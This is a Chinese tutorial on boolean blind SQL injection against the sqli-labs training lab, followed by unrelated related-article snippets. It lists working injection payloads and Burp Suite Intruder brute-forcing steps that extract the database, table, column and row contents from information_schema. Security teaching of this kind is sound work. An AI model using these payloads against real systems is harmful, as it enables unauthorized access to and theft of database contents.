SQL盲注-实战布尔盲注

环境:win10

靶场:sqli-labs-master

本实验仅供学习参考!!!

1 布尔盲注

盲注就是在 SQL 注入过程中, SQL 语句执行后,查询到的数据不能 回显到前端页面。此时,我们需要利用一些方法进行判断或者尝 试,这个过程称之为盲注。而布尔盲注就是SQL 语句执行后,页面 不返回具体数据,数据库只返回0 或者 1 (真 or 假)。 类似于无法开口说话的人,只能通过点头和摇头来告诉你答案的正 确与否。

1.1 布尔盲注的特性

在页面中,如果正确执行了用户构造的 SQL 语句,则返回一种页 面,如果 SQL 语句执行错误,则执行另一种页面。基于两种页面, 来判断 SQL 语句正确与否,达到获取数据的目的。
正常的页面:
查询不到的页面:

1.2 布尔盲注的基本流程

1 、判断是否存在注入:sql注入必须的过程
2 、获取数据库长度:因为盲注无法回显数据,所以我们需要猜数据库名的长度,为下一步猜测数据库名做准备。
3 、逐字猜解数据库名
4 、猜解表名数量
5 、猜解某个表名长度
6 、逐字猜解表名
7 、猜解列名数量
8 、猜解某个列名长度
9 、逐字猜解列名
10、判断数据数量
11 、猜解某条数据长度
12 、逐位猜解数据

2. 攻击过程

2.1 判断是否存在注入

第一步:正常查询,返回 True (语句执行成功)或者返回 False (语 句执行成功没有查询到内容)
第二步:输入引号进行看页面变化,页面返回 False ,可能存在漏 洞,也可能没有查询到内容
第三步:利用 and 进行判断,比如: 1 and 1=1 1 and 1=2 1’ and 1=1#和 1’ and 1=2# ,如果前者执行的结果不一样,说明是数字型的 布尔盲注,如果后者执行的结果不一样,说明是字符型的布尔盲 注。
输入 1 后发现页面显示 You are in。。。。似乎是正常显示
输入 1' 发现页面没有任何变化,我判断是存在漏洞
接下来判断注入类型 
发现输入 1 and 1=1 1 and 1=2 的结果一样很明显不符合数字类型(这里之所以一样是因为这里是字符型,查询语句将输入内容看为整体,那么就涉及到了隐式类型转换,最终转换结果这连个语句都是1,所以都是正确结果) ,那么就是字符型了
判断闭合类型
1' and 1=1--+1' and 1=2--+分别为正常显示,无反应(也就是单引号没有闭合)
判断出是单引号闭合,这里为什么这样判断上面有说,我的上一篇文章也有讲为什么 http://t.csdnimg.cn/wRLmq。这里也判断出单引号闭合了,且这个靶场没有回显数据,所以我们不能判断回显位了,我们需要另一种方式

2.2 获取数据库长度

因为无法通过页面数据回显获取数据,所以只能靠判断对错的方式 来获取数据,可以使用MySQL 中内置的 length() 函数获取长度 。
length() 是一个用来获取字符串长度的内置函数。
char_length() :在 mysql 内置函数里面查看字符串长度的还有一个函数是char_length()
这两个函数的区别是:
a )、 length() : 单位是字节, utf8 编码下 , 一个汉字三个字 节,一个数字或字母一个字节。gbk 编码下 , 一个汉字两个字节,一个数字或字母一个字节。
b )、 char_length() :单位为字符,不管汉字还是数字或者是 字母都算是一个字符。
使用length()函数计算长度,我猜是8个字节,猜中页面正常显示
如果不想一个一个试,可以用 '>'   '<'  来缩小范围,然后在试
1' and length(database())<10
1' and length(database())>5
从上面两次判断,就将长度范围缩小了。接下来就要开始逐个猜数据库

2.3 获取数据库名

从上个步骤中获取到数据库长度之后,接下来就是获取名字,如何 获取呢?可以通过截取字符串的方式进行获取。
substr(string, start, length) 截取字符串,注意, mysql 中的 start 从1 开始的。这个函数的意思简单来说,截取一个字符串从'start'位,可以是第1位,第2位。。。。每次截取'length'个字符。
1' and substr(database(),1,1)='s'--+(从第一位开始,截取一个字符)我猜到了' s'是第一个字符(一个一个试),显然这种方式非常浪费时间。那么我们需要另一种方式,快速的能够确定答案
使用。
我使用了ascii()函数。其作用是将字符转换成对应的ascii值(数字),那么我们就可以利用  >  <
来缩小范围然后再猜。
1' and ascii(substr(database(),1,1))>97--+
1' and ascii(substr(database(),1,1))<110--+
后续我就不再继续缩小。我直接使用最简便的方法。
BurpSuite,爆破密码(同样可以用来破解我们这种情况)
抓包后发送给Intruder
选择第四个破解方式
需要改变的两个分别是字符开始的位置和我们猜测的ascii码值
因为这两个都是数值所以我们选择Payload type为:Numbers
第一个改变的地方相当于就是我们数据库的长度我们上面试出了为8,所以我们设置为1-8,步长为8
第二个改变的是ascii码值,范围可以设置为33-126
在获取数据库名的时候注意数据库的命名规则,他是采用 26 个英文 字母( 区分大小写 ) 0-9 的自然数 ( 经常不需要 ) 加上下划线 '_' 组成, 命名简洁明确,多个单词用下划线'_'分隔。
为了避免有些人不按照命名规则命名,可以对 ascii 码值 33 126 进行遍历枚举。
然后开始攻击
攻击完后点击length进行排序,能真正成功的都与大部分结果显示不一样,很明显这8条正是我们要的结果,再将ascii码转换为对应的字符就是我们的数据库名(要按照顺序来id:1-8)
为了更严谨我们可以以次选中这8条查看响应包内容
观察到和我们在HackBar中输入正确查询后显示的一样
还有更更直观的如图
那么数据库名为security

2.4.获取表的数量

但是由于无法看到有多少个表,为了避免无效查询,所以可以先获 取表的数量,可以使用count() 函数进行获取, count() 统计数据表中包含的记录行的总数,或者根据查询结果 返回列中包含的数据行
与之前sql注入查询语句一样只需要加上判断就可
1' and (select count(table_name) from information_schema.tables where table_schema='security')=4--+
2.5获取表的长度
1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6--+
这里我来解释一下这条语句首先是最内层查询语句这个很好理解就是查表,内存有一个limit 0,1这个代表从第0个开始(也就是我们认为的第一个表)截取1个。
然后内存查询语句作为整体放入到 length 函数中计算长度所以有两层括号(这里括号关系必须有两层,如果内层不加括号的话,因为limit后有逗号,这样lenrth函数会以为有两个参数这样就错了),我猜中了第一个表的长度。想要快速猜中每张表那么就用burpsuite进行爆破
limit后面跟着一个%20这个代表空格
我们将 第n个表表的长度分别加上标记对这两个位置进行爆破,使用Cluster bomb方式
前面我们计算出了有四张表
表名一般不会很长可以像我这样试一下不在这范围内可以再改

2.5获取表的长度

这四条分别对应四张表的长度

2.6获取表名

1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+
这里的括号关系同样也要搞清楚可以先将substr和内层查询语句括号关系搞清楚(同length函数),再写入到ascii函数内,这里我猜中了第一张表的第一个字符的ascii码值为101,也就是 e, 想要快速得出几张表的名字还是同样的方法使用burpsuite
第一张表名为:emails ,想要得出其他几张表要将limit 0,1中第一个参数进行更改
然后根据每张表的长度来更改范围,再来爆破
第二张表名:referers
第三张表名:uagents
第四张表名:users

2.7获取表字段数

以emails表为例
1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='emails')=2--+, 有两个字段

2.8获取字段长度

length((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1))=2--+

1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 1,1))=8--+

第一个字段长为2,第二个为8。这里获取字段长度和上面获取表名长度一个道理

2.9获取字段名

这里我就不猜了直接burpsuite爆破

1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1))=105--+
 

第一个字段:id

第二个字段名:email_id

2.10获取数据条数

1' and (select count(id) from emails)=8--+

猜中有八条数据

2.11获取数据

1' and ascii(substr((select group_concat(id) from emails),1,1))=49--+

直接burpsuite爆破,注意这里用了group_concat函数,是数据在同一行显示中间会用逗号隔开,再爆破时相当于15条数据

数据分别为1,2,3,4,5,6,7,8,到这里数据也查询出来了,需要其他数据方法一样。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/731648.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

滤波器:工作原理和分类及应用领域?|深圳比创达电子EMC

滤波器在电子领域中扮演着重要的角色&#xff0c;用于处理信号、抑制噪声以及滤除干扰。本文将详细介绍滤波器的工作原理、分类以及在各个应用领域中的具体应用。 一、滤波器的定义和作用 滤波器是一种电子设备&#xff0c;用于选择性地通过或阻塞特定频率范围内的信号。其主…

iOS增量报告生成方案

一&#xff0c;iOS覆盖率报告生成逻辑 iOS覆盖率报告生成与Android有很大的不同&#xff0c;主要的生成逻辑如下&#xff1a; 1&#xff0c;将profraw文件&#xff0c;通过命令xcrun llvm-profdata merge -sparse转换成profdata; 2&#xff0c;再将profdata文件&#xff0c;通…

牛客论坛笔记~

文章目录 Redisspring整合redis实现点赞帖子的赞用户的赞 关注功能热帖排行redis存储验证码、登录凭证、用户信息 kafka阻塞队列kafka![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/d35be55986344b548710985cd8ecbd87.png)触发事件处理事件 Redis高级网站数据统计…

如何使用 ArcGIS Pro 制作三维地形图

伴随硬件性能的提高和软件算法的优化&#xff0c;三维地图的应用场景会越来越多&#xff0c;这里为大家介绍一下在ArcGIS Pro怎么制作三维地形图&#xff0c;希望能对你有所帮助。 数据来源 教程所使用的数据是从水经微图中下载的DEM和影像数据&#xff0c;除了DEM和影像数据…

java(框架) springboot-1 基础使用+mybaits使用

学习视频&#xff1a;b站黑马java教程 tomcat spring-boot工程内嵌了tomcat服务器 所有请求经过DispatcherServlet(实现servlet接口的类)(核心控制器/前端控制器)处理&#xff0c;再通过DispatcherServlet转发给各个controller。 最后通过DispatcherServlet给浏览器响应数据…

垃圾收集器底层算法

垃圾收集器底层算法 三色标记 在并发标记的过程中&#xff0c;因为标记期间应用线程还在继续跑&#xff0c;对象间的引用可能发生变化&#xff0c;多标和漏标的情况就有可能发生&#xff0c;这里我们引入“三色标记”来给大家解释下把Gcroots可达性分析遍历对象过程中遇到对象…

02、进程的基础

1.进程的概念 进程&#xff08;Process&#xff09;是计算机中的程序关于某数据集合上的一次运行活动&#xff0c; 是系统进行资源分配的基本单位&#xff0c;是操作系统结构的基础。在早期面向进程设计的计算机结构中&#xff0c;进程是程序的基本执行实体&#xff1b;在当代…

LeNet5实战——衣服分类

搭建模型训练代码&#xff08;数据处理、模型训练、性能指标&#xff09;——> 产生权重w ——>模型结构c、w测试 配置环境 Pycharm刚配置的环境找不到了-CSDN博客 model.py 导入库 import torch from torch import nn from torchsummary import summary 模型搭…

河北省光伏展

光伏展是指光伏行业的展览会&#xff0c;也被称为太阳能展。光伏展一般是由光伏企业、科研机构、行业协会和专业展览公司等共同举办的。展会内容包括光伏产品、技术、设备、材料、应用等方面的展示和交流。 光伏展通常是光伏行业的重要盛事&#xff0c;吸引了全球范围内的光伏企…

144.乐理基础-根三五音、大三和弦、小三和弦

内容参考于&#xff1a; 三分钟音乐社 上一个内容&#xff1a;143.乐理基础-和弦是什么&#xff1f;和声是什么&#xff1f;三和弦-CSDN博客 必须先看上一个内容&#xff0c;了解什么是和弦、什么是和声&#xff0c;以及三和弦的定义 上一个内容最后写了三和弦的定义&#x…

【C++ 学习】构造函数详解!!!

1. 类的6个默认成员函数的引入 ① 如果一个类中什么成员都没有&#xff0c;简称为空类。 ② 空类中真的什么都没有吗&#xff1f;并不是&#xff0c;任何类在什么都不写时&#xff0c;编译器会自动生成以下6个默认成员函数。 ③ 默认成员函数&#xff1a;用户没有显式实现&…

嵌入式学习第二十五天!(网络的概念、UDP编程)

网络&#xff1a; 可以用来&#xff1a;数据传输、数据共享 1. 网络协议模型&#xff1a; 1. OSI协议模型&#xff1a; 应用层实际收发的数据表示层发送的数据是否加密会话层是否建立会话连接传输层数据传输的方式&#xff08;数据包&#xff0c;流式&#xff09;网络层数据的…

基于YOLOv8深度学习的智能道路裂缝检测与分析系统【python源码+Pyqt5界面+数据集+训练代码】深度学习实战、目标检测、目标分割

《博主简介》 小伙伴们好&#xff0c;我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 ✌更多学习资源&#xff0c;可关注公-仲-hao:【阿旭算法与机器学习】&#xff0c;共同学习交流~ &#x1f44d;感谢小伙伴们点赞、关注&#xff01; 《------往期经典推…

外包干了5天,技术退步明显。。。。。

在湖南的一个安静角落&#xff0c;我&#xff0c;一个普通的大专生&#xff0c;开始了我的软件测试之旅。四年的外包生涯&#xff0c;让我在舒适区里逐渐失去了锐气&#xff0c;技术停滞不前&#xff0c;仿佛被时间遗忘。然而&#xff0c;生活的转机总是在不经意间降临。 与女…

警用移动执法远程视频监控方案:安防视频监控系统EasyCVR+4G/5G移动执法仪

一、背景需求 在现代城市管理中&#xff0c;移动执法仪视频监控方案正逐渐成为一种高效、便捷的管理工具。该方案通过结合移动执法仪和视频监控技术&#xff0c;实现了对城市管理现场的实时监控和取证&#xff0c;有效提升了城市管理水平和效率。 移动执法仪作为现场执法的重…

TypeScript 哲学 - Object Types

readonly 修饰对象和数组的 双向可分配性是不同的 只有有一个可选属性不是意味着必须 不能传空对象&#xff0c;&#xff1a;这个例子&#xff08;两个属性可选&#xff09;而是如果对象有额外属性&#xff0c;那么必须至少加一个 可选属性。只要你在传递的值和目标类型有一个…

关于STM32G070RBTx单片机使用HAL库往flash写数据的过程中死机问题

1.单片机型号:STM32G070RBTx 2.出现的问题 根据库函数FLASH_If_Write()的使用&#xff0c;我们分析往flash写数据的过程是把uint8_t 类型的数据(p_data)以地址的形式强转成uint64类型的&#xff0c;在一包128字节的数据时一次存储8位&#xff0c;存16次(packet_size/8)&#x…

Java项目:基于SSM框架实现的二手车交易平台【源码+开题报告+任务书+毕业论文+答辩ppt】

一、项目简介 本项目是一套基于SSM框架实现的二手车交易平台 包含&#xff1a;项目源码、数据库脚本等&#xff0c;该项目附带全部源码可作为毕设使用。 项目都经过严格调试&#xff0c;eclipse或者idea 确保可以运行&#xff01; 该系统功能完善、界面美观、操作简单、功能齐…

瑞芯微 | I2S-音频基础 -1

最近调试音频驱动&#xff0c;顺便整理学习了一下i2s、alsa相关知识&#xff0c;整理成了几篇文章&#xff0c;后续会陆续更新。 喜欢嵌入式、Li怒晓得老铁可以关注一口君账号。 1. 音频常用术语 名称含义ADC&#xff08;Analog to Digit Conversion&#xff09;模拟信号转换…

stm32普通定时器脉冲计数(发送固定脉冲个数),控制步进电机驱动器

拨码开关设置驱动器&#xff0c;细分 方法思路&#xff1a;用通用定时器TIM2&#xff0c;1ms产生一次中断&#xff1b;在中断里做IO反转&#xff1b; 发送10个脉冲信号